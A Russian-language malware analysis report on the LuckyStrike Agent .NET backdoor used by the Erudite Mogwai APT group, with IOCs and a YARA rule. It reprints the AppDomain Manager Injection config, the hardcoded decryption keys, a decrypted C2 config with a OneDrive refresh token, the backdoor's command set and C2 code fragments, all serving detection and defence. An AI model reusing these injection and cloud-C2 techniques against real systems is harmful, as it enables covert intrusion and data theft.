Введение
Ранее мы публиковали статью, посвященную APT-группировке Erudite Mogwai, в которой среди используемых группировкой утилит встречается бэкдор LuckyStrike Agent, замеченный в атаках на ИТ-инфраструктуру российской госорганизации и на ИТ-компании. В этой публикации мы разберем его подробнее.
Ключевые тезисы:
- Lucky Strike Agent был замечен в атаках группировки Erudite Mogwai.
- Бэкдор использует технику AppDomain Manager Injection, способен выполнять широкий спектр команд, а также использует публичный облачный сервис OneDrive в качестве канала C2. Не исключено также, что он может использовать и другие облачные сервисы.
- Анализ LuckyStrike Agent позволяет с высокой долей уверенности отнести его к категории коммерческих решений. На это указывают такие факторы, как четкая модульная структура, аккуратная реализация, а также явные признаки "платной версии", обнаруженные в отладочных строках PDB-файла (E:\Csharp\HA_Thomas\Server\Library\obj\Paid Version\Library.pdb) и префикс "paid", добавляемый при генерации agent_id.
Бэкдор встречался нами в нескольких инцидентах и поставлялся со следующим набором файлов:
- LuckyStrike.dll — загрузчик, является .NET-библиотекой. Расшифровывает и запускает основную нагрузку;
- log.cached — зашифрованный конфиг основной нагрузки;
- netfxsbs9.hkf — зашифрованная основная нагрузка;
- UevAppMonitor.exe — легитимный файл, является частью технологии UE-V;
- UevAppMonitor.exe.config — конфиг, используемый для инъекции вредоносной библиотеки.
Данное ВПО использует технику AppDomain Manager Injection (T1574.014). Она позволяет загружать вредоносные .NET-сборки в легитимные .NET-приложения. В качестве такого приложения злоумышленниками выбран UevAppMonitor.exe. Подробнее с техникой можно ознакомиться в публикации Rapid7.
Файл UevAppMonitor.exe.config содержит конфигурацию загрузки вредоносной сборки и выглядит следующим образом:
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<runtime>
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
</assemblyBinding>
<etwEnable enabled= "false" />
<appDomainManagerAssembly value="LuckyStrike, Version=0.0.0.0, Culture=neutral,
PublicKeyToken=null" />
<appDomainManagerType value="Strike" />
</runtime>
</configuration>
Техническое описание
Загрузчик LuckyStrike.dll
File name |
LuckyStrike.dll |
SHA256 |
0a61f81d4c24fdc2f7360c6b19b569055aa1f3adb6fc15d500a81fc9862c7a49 |
Compiler timestamp |
Sun Jul 15 23:43:43 2091 | UTC |
Если заглянуть в загрузчик, можно увидеть множество классов, намекающих на покерную тематику. Название библиотеки также отсылает в мир азартных игр.

Точкой входа является класс Strike, который наследуется от класса AppDomainManager. В исходном коде встречается обфускация строк и значений.
При запуске библиотека выводит случайный текст для создания впечатления о начале игрового процесса (StrikeAI.Example).

Затем вызывается метод Dynamic.SetObject, в котором и происходит расшифровка полезной нагрузки.

Переменные key и path инициализируются с помощью метода ExtractSecretKeys, в котором возвращается захардкоженный b64 ключа и файла с нагрузкой. В нашем случае эти значения были равны netfxsbs9.hkf для имени файла с зашифрованной нагрузкой и UevAppMonitor — для ключа. Расшифровка осуществляется с помощью алгоритма AES256-CBC, размер ключа хранится в статической переменной CryptoHelper.KeySize. Зашифрованная нагрузка хранится в файле в виде b64, после декодирования считываются первые 16 байт, которые являются вектором инициализации и salt для вывода ключа. Ключ выводится с помощью PBKDF2, затем с помощью него осуществляется расшифровка нагрузки.
Полученная полезная нагрузка также представляет собой .NET-сборку, которая исполняется далее.
Основная нагрузка
Инициализация и конфигурация
Name |
OneDrive.exe |
SHA256 |
6f3b79f32625e568d48bd59887d3bd0b0648256fe24a3677ef6bef154d120118 |
Compiler timestamp |
Thu Nov 24 04:26:15 2039 | UTC |
Сборка представляет собой собранный с помощью Fody Costura бинарный файл. Fody Costura предназначен для сборки единого исполняемого файла, в котором все зависимости хранятся в ресурсах. В данном случае хранится библиотека library.dll (а также library.pdb), которая содержит основные классы вредоноса. Она используется основным исполняемым файлом.
Name |
Library.dll |
SHA256 |
94a16337fefbed7c77826731bf32f922f4ad8fa3a6ac19febcd4343f5a41a623 |
Compiler timestamp |
Tue Nov 12 20:36:20 2047 | UTC |
После запуска OneDrive.exe вызывается функция StealthOperations.ApplyHook, которая перезаписывает код функции Exit на инструкцию немедленного возврата. Вероятно, это сделано для предотвращения выхода из приложения.

После этого осуществляется расшифровка файла конфигурации. Имя файла cached.log захардкожено. Алгоритм расшифровки следующий:
- XOR с ключом "SecretKey".
- Декодирование base64.
- Расшифровка с помощью AES в режиме CBC. Ключ — "Thomas", IV — "". Ключ и вектор инициализации дополняется нулями до нужной длины.
На выходе получается JSON следующего вида:
{
"ListenerID": 1,
"FolderName": "Placerat est lacus libero nostra, neque, sodales.",
"AppID": "ec839d60-ed1b-45e4-ab69-94e676532033",
"RefreshToken": "M.C520_BAY.0.U.-Cr2nYDYyrNze!!A4*!a4*GQmpCGOIYewMoTTi4Wnml*myPBCp5jXVlkG5sfp1R5shXtq9*DXJ56yiRzzrt0L4d1lvzIWab78cFA*fRuPJURGOP4Nj*pgOQ1kjI!bceoUu!RO6Izgyuxqxj17*VHW7tllyPtDcsAejfGDZfVEN*388YVXwY5*RblcLaOCptklIA9zh262bfLFWSDnnfltAnM6XWMRwh5oIIrsR2*euPdZ7bfyPokPAD96U7eQF!CIJFvjtN7RNkvw3CHlwCEObd67HYDBgqRq2u06fJIwZAOIVYAJMlQNjGPMAC*F8uyeDyP0Cvd5z!Amih40J1hD5dU*IeNdUdfXsDA6CcJwcj8SnzLajDaY8GLzKbvn!ggLEw$$",
"BaseUrl": "https://graph.microsoft.com/v1.0/drive",
"TokenUrl": "https://login.microsoftonline.com/common/oauth2/v2.0/token",
"CodeType": ".NET4.5.1",
"AgentType": "OneDrive",
"Scope": "offline_access files.readwrite",
"Sleep": 86,
"Proxy": "",
"BeginDate": "00:00:01",
"EndDate": "23:59:00",
"Payload": {
"Key": "pu043v2m746opqb1",
"MetaDataName": null,
"TaskFolderName": "Eros tempor himenaeos",
"ReceiveFolderName": "Eu efficitur eros",
"Prepend": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\r\n<html xmlns=\"http : //www.w3.org/1999/xhtml\">\r\n <head>\r\n <meta http-equiv=\"Content-Type\" content=\"text/html; charset=iso-8859-1\" />\r\n <title>IIS Windows Server</title>\r\n <style type=\"text/css\">\r\n <!--\r\n body {\r\n\t color:#000000;\r\n\t background-color:#0072C6;\r\n\t margin:0;\r\n }\r\n\r\n# container {\r\n\t margin-left:auto;\r\n\t margin-right:auto;\r\n\t text-align:center;\r\n\t }\r\n\r\n a img {\r\n\t border:",
"Append": ";\r\n }\r\n\r\n -->\r\n </style>\r\n </head>\r\n <body>\r\n <div id=\"container\">\r\n <a href=\"http://go.microsoft.com/fwlink/?linkid=66138&amp;clcid=0x409\"><img src=\"iisstart.png\" alt=\"IIS\" width=\"960\" height=\"600\" /></a>\r\n </div>\r\n </body>\r\n</html>",
"PayloadPrepend": "Sagittis",
"PayloadAppend": "Non"
}
}
Эта конфигурация затем десериализуется в структуру Profile, которая, в свою очередь, является частью структуры Config. Они определены следующим образом:
public class Config
{
public static object m_lock = new object();
public static string external = string.Empty;
public static string agent_id = string.Empty;
public static Mutex mutex = null;
public static Profile profile = null;
public static string profile_name = "log.cached";
public static string logs = "C:\\Users\\Public\\Libraries\\thomas.log";
public static string current_date = string.Empty;
}
public class Profile
{
public int ListenerID { get; set; }
public string FolderName { get; set; }
public string AppID { get; set; }
public string RefreshToken { get; set; }
public string BaseUrl { get; set; }
public string TokenUrl { get; set; }
public string CodeType { get; set; }
public string AgentType { get; set; }
public string Scope { get; set; }
public int Sleep { get; set; }
public string Proxy { get; set; }
public string BeginDate { get; set; }
public string EndDate { get; set; }
public Payload Payload { get; set; }
}
Можно заметить, что переменные profile_name и logs заданы по умолчанию. Logs содержит путь, по которому будут записываться логи приложения. Пример лога (на момент тестирования срок действия токена уже закончился):
2024-09-03 00:52:13 [InitAppDomain] ERROR: Another instance of the agent is already running
2024-09-03 00:53:18 [InitAppDomain] ERROR: Another instance of the agent is already running
2024-09-03 00:53:26 [async_session_post] An error occurred while sending the request.
2024-09-03 00:53:26 [While1-] One or more errors occurred.
2024-09-03 00:54:52 [async_session_post] An error occurred while sending the request.
2024-09-03 00:54:52 [While1-] One or more errors occurred.
2024-09-03 01:00:18 [async_session_post] An error occurred while sending the request.
2024-09-03 01:00:25 [While1-] One or more errors occurred.
Также присутствует поле AgentType, которое во всех семплах имело значение OneDrive, однако само его наличие говорит о возможности использования и других облачных сервисов в качестве канала C2. В объекте Payload задаются имена папок для коммуникации, а также формат данных.
Не менее интересными являются поля RefreshToken и Scope. Первое используется для получения токена доступа, а второе сообщает о том, какие права необходимо предоставить токену доступа. Изучить инфраструктуру атакующих не удастся — при попытке получить токен доступа, система любезно сообщает нам о том, что время действия данного refresh token уже исчерпано.
После инициализации структуры Profile происходит генерация agent_id, который представляет собой MD5 от конкатенации строк "paid", AgentType, username (добавляет символ * после имени пользователя, если он из группы администраторов), значения processorID из win32_processor, физического адреса хоста.

Затем происходит инициализация мьютекса Global\\{AGENTID}, где {AGENTID} — рассчитанный для текущего пользователя agentid. Такой алгоритм вычисления agent_id позволяет запускать бэкдор на одном и том же компьютере в нескольких пользовательских сессиях.
Главный цикл и функциональность
После основной инициализации запускается главный цикл. Он начинается с функции Sleep со значением из конфига. Для данного семпла это значение равно 89 секундам. Основной задачей данного цикла является получение токена доступа OneDrive с использованием Refresh Token. После получения токена запускается отдельный поток, который обрабатывает очередь сообщений. Всего инициализируется две очереди: Input и Output для сообщений на вход и на выход.

В главном потоке, если текущее время укладывается в интервал [BeginDate; EndDate], происходит:
- Sleep.
- Сбор информации о системе (IP, имя пользователя, имя хоста, PWD, информация о текущем процессе, время запуска,
последнее время активности, полное имя операционной системы, также записывается информация о типе текущего
агента и используемой версии .NET). Эта информация записывается в структуру MainData, затем сериализуется и
зашифровывается с помощью RSA, в котором значение public key представляет собой хардкод-строку
md752US9s6TEQZjARaT+ZUZgOK7gJseLeFtJQGJCy2C1F0txZZAJXdY0WpPuiTNfxRmtxXFKf5AwdbH7SnsraLPn+PGkJrI35gXMDTJmezInbvgEWKZ84l9JYi9gm8mCUSad+N+3GAus/j+woCUhOgRrW496NLmX05KnIhgJc/E=
. - Отправка данных. Происходит вызов функции SendMetaData, в которой с помощью GraphQL в папке root/:/{FolderName}-{ListenerID}-{agent_id} создается файл с именем "Read_{agent_id}.max" с содержимым из пункта 1. Пример полного пути — "root/:/Placerat est lacus libero nostra, neque, sodales.-1-1dc2a35510e7d9cdb3a5ababfab781f7/Read_1dc2a35510e7d9cdb3a5ababfab781f7.max".
- Чтение новых задач из директории TaskFolderName. Вредонос получает список файлов внутри этой директории, а затем сравнивает их название по регулярному выражению (файлы должны иметь расширение .max). Затем содержимое каждого файла записывается в очередь задач (Input). После этого файл удаляется из хранилища OneDrive.

В потоке обработки очередей сначала вызывается функция обработки задачи из очереди Input. Из очереди достается сообщение, создается отдельный поток для обработки команды, а затем в нем вызывается функция UnGeneratePayload, которая достает из строки задачи полезную нагрузку, так как сама нагрузка заключена между значениями PayloadPrepend и PayloadAppend, указанными в конфигурации малвари:
public string UnGeneratePayload(string command)
{
string payloadPrepend = Config.profile.Payload.PayloadPrepend;
string PayloadAppend = Config.profile.Payload.PayloadAppend;
string pattern = Regex.Escape(payloadPrepend) + "(.*?)" + Regex.Escape(PayloadAppend);
Match match = Regex.Match(command, pattern);
if (match.Success)
{
command = match.Groups[1].Value.Trim();
}
return command;
}
Затем содержимое сообщения декодируется с помощью base64 и расшифровывается с помощью AES в режиме CBC с ключом Payload.Key из конфигурации. Вектор IV при этом пустой. Сообщение представляет собой JSON со структурой MsgData:
{
public string ID { get; set; }
public MsgType MsgType { get; set; }
public string Data { get; set; }
}
В значении MsgType находится тип команды, а в значении Data — необходимые для нее аргументы. Всего существует 11 типов команд:
Тип команды |
Описание |
---|---|
CMD_TYPE_SHELL |
Исполнение консольной команды. В очередь Output записывается результат этой команды |
CMD_TYPE_EXEC_ASM |
Подгрузка и исполнение переданной в аргументах сборки. Под исполнением подразумевается вызов точки входа сборки, в отличие от команды подгрузки плагина.
Сборка в поле Data закодирована в следующем виде: |
CMD_TYPE_EXIT |
С функции Environment.Exit убирается хук и происходит ее вызов. Бэкдор прекращает свою работу. Не возвращает никаких значений |
CMD_TYPE_REMOVE |
Удалить файл. В очередь Output записывается информация о директории, из которой был удален файл |
CMD_TYPE_DOWNLOAD |
Скачать файл с хоста жертвы. Вывод в очередь Output происходит чанками по 7340032 байт. Формат вывода: "FILEPATH|CHUNK_COUNT|CHUNK_INDEX|DATA_BASE64". Последним выводится сообщение об успешной передаче файла |
CMD_TYPE_UPLOAD |
Загрузка файла с C2. Содержимое также загружается чанками (содержится внутри сообщения в виде base64). Файл создается, только когда все чанки собраны. В Output записывается статус |
CMD_TYPE_DRIVES |
Получить информацию о дисках в системе (имя диска и объем) |
CMD_TYPE_FILE_BROWSE |
Обход директории. Возвращает информацию о файлах в директории или о файле (имя файла, полный путь, base64 от иконки, является ли путь директорией, время последней записи в файл, размер). Список файлов возвращается в формате JSON |
CMD_TYPE_SLEEP |
Изменить значение Sleep в конфигурации. В Output записывается сообщение об изменении значения со старого на новое |
CMD_TYPE_TASKSCHEDULER |
В коде программы не используется |
CMD_TYPE_Plugin |
Подгрузка и исполнение сборки с заданными аргументами. В команде также содержится BASE64-сборки и аргументы. От команды EXEC_ASM отличается форматом сборки. Сборка должна содержать в себе тип Plugin со статическим методом Run |
Затем происходит обработка сообщения из очереди Output. Содержимое сообщения сериализуется в JSON и зашифровывается, кодируется в base64. Эта строка далее обрамляется значениями из конфигурации:
public string GeneratePayload(string command)
{
string Prepend = Config.profile.Payload.Prepend;
string Append = Config.profile.Payload.Append;
string PayloadPrepend = Config.profile.Payload.PayloadPrepend;
string PayloadAppend = Config.profile.Payload.PayloadAppend;
command = string.Concat(new string[]
{
Prepend,
"\r\n\t",
PayloadPrepend,
command,
PayloadAppend,
"\r\n",
Append
});
return command;
}
После этого в директории ReceiveFolderName создается файл с расширением .max с содержимым вывода. Имя файла формируется на основе текущих даты и времени, смещенных на дату 1962-07-07 08:08:08.008. Затем эта разница преобразуется в секунды и умножается на 100000.
Заключение
LuckyStrike Agent — это многофункциональный .NET-бэкдор, использующий технику AppDomain Manager Injection для загрузки вредоносной нагрузки в адресное пространство легитимного .NET-приложения. Мы сталкивались с этим инструментом в ходе расследований, связанных с активностью APT-группировки Erudite Mogwai.
Известно, что азиатские APT-группировки нередко адаптируют под себя общедоступные инструменты или обмениваются наработками внутри условно «закрытого круга» — как это, например, происходит в случае с ShadowPad, к которому, по всей видимости, имеют доступ сразу несколько китайских групп. На этом фоне бэкдор LuckyStrike Agent выглядит менее типично. Его архитектура и методы внедрения позволяют предположить, что это — продукт коммерческого происхождения, ориентированный на ограниченный круг клиентов. На это указывают такие признаки, как четкая модульная структура, а также наличие элементов, свидетельствующих о возможном существовании «платной версии».
В частности, в отладочных строках обнаружено имя PDB-файла:
E:\Csharp\HA_Thomas\Server\Library\obj\Paid Version\Library.pdb
.
Это может свидетельствовать о внутреннем названии проекта ("HA_Thomas") и существовании платной редакции бэкдора. Дополнительно при генерации agent_id к значению добавляется префикс paid, что также намекает на коммерческую природу продукта.
Все перечисленные признаки позволяют с высокой долей уверенности отнести LuckyStrike Agent к категории профессиональных вредоносных решений, распространяемых в рамках закрытого или теневого рынка.
Если вы заинтересованы в непрерывном получении разведданных о деятельности группировки Erudite Mogwai и других актуальных киберугрозах, свяжитесь с нами, чтобы подключить пилот сервиса Solar TI Feeds.
IOCs
Files
0a61f81d4c24fdc2f7360c6b19b569055aa1f3adb6fc15d500a81fc9862c7a49
d676a8bbaf95612305efa9500356294ec14d332baa16ed4980e4c47a8d4b831b
6f3b79f32625e568d48bd59887d3bd0b0648256fe24a3677ef6bef154d120118
fd647324461f4114d258102ccafaddf4a50041f7d5425f62009b89395166d588
94a16337fefbed7c77826731bf32f922f4ad8fa3a6ac19febcd4343f5a41a623
0d02ebe3b7c366b8458e5518d7424befb1ecd85117c769b880b59fa979e8408b
26ac58cd3addf226ebcc1173f0b237942176ed7cf311e0ff8bfa6bf5c6ea80e8
89fcea271d9a647aab772bf13407407b4f93ab3926f7feef68e13a1bbbf7fc4d
efa406b93ccb39704c2cbdbe5e49611777b17786834b416d1fb7256d3d914452
89fcea271d9a647aab772bf13407407b4f93ab3926f7feef68e13a1bbbf7fc4d
e4cb17978d132ab8518cfbd6362cbfa7f281cacf1b79eead24286ad7b5b7b94d
c97d88ea4b6592b42bc6b1b9d890c5f7c498b82741a57d4a634bae02b9bc3048
Yara
rule LuckyStrike {
meta:
description = "LuckyStrike loader"
strings:
$class_name1 = "Card"
$class_name2 = "ArtificialPlayer"
$class_name3 = "OnlinePlayer"
$class_name4 = "NonEmptySeat"
$class_name5 = "EmptySeat"
$class_name6 = "Game"
$class_name7 = "Hand"
$str1 = "LuckyStrike"
condition:
all of them
}
Приложение 1. Расширенная информация по файловым IOCs
Имя файла |
SHA256 |
Комментарий |
---|---|---|
LuckyStrike.dll |
0a61f81d4c24fdc2f7360c6b19b569055aa1f3adb6fc15d500a81fc9862c7a49 |
Загрузчик |
log.cached
|
d676a8bbaf95612305efa9500356294ec14d332baa16ed4980e4c47a8d4b831b |
Зашифрованный файл конфигурации |
OneDrive.exe |
6f3b79f32625e568d48bd59887d3bd0b0648256fe24a3677ef6bef154d120118 |
Расшифрованная основная нагрузка |
netfxsbs9.hkf |
fd647324461f4114d258102ccafaddf4a50041f7d5425f62009b89395166d588 |
Зашифрованная основная нагрузка |
Library.dll |
94a16337fefbed7c77826731bf32f922f4ad8fa3a6ac19febcd4343f5a41a623 |
|
LuckyStrike.dll |
0d02ebe3b7c366b8458e5518d7424befb1ecd85117c769b880b59fa979e8408b |
Загрузчик |
log.cached |
26ac58cd3addf226ebcc1173f0b237942176ed7cf311e0ff8bfa6bf5c6ea80e8 |
Зашифрованный файл конфигурации |
OneDrive.exe |
89fcea271d9a647aab772bf13407407b4f93ab3926f7feef68e13a1bbbf7fc4d |
Расшифрованная основная нагрузка |
netfxsbs9.hkf |
efa406b93ccb39704c2cbdbe5e49611777b17786834b416d1fb7256d3d914452 |
Зашифрованная основная нагрузка |
LuckyStrike.dll |
89fcea271d9a647aab772bf13407407b4f93ab3926f7feef68e13a1bbbf7fc4d |
Загрузчик |
LuckyStrike.dll |
e4cb17978d132ab8518cfbd6362cbfa7f281cacf1b79eead24286ad7b5b7b94d |
Загрузчик |
LuckyStrike.dll |
c97d88ea4b6592b42bc6b1b9d890c5f7c498b82741a57d4a634bae02b9bc3048 |
Загрузчик |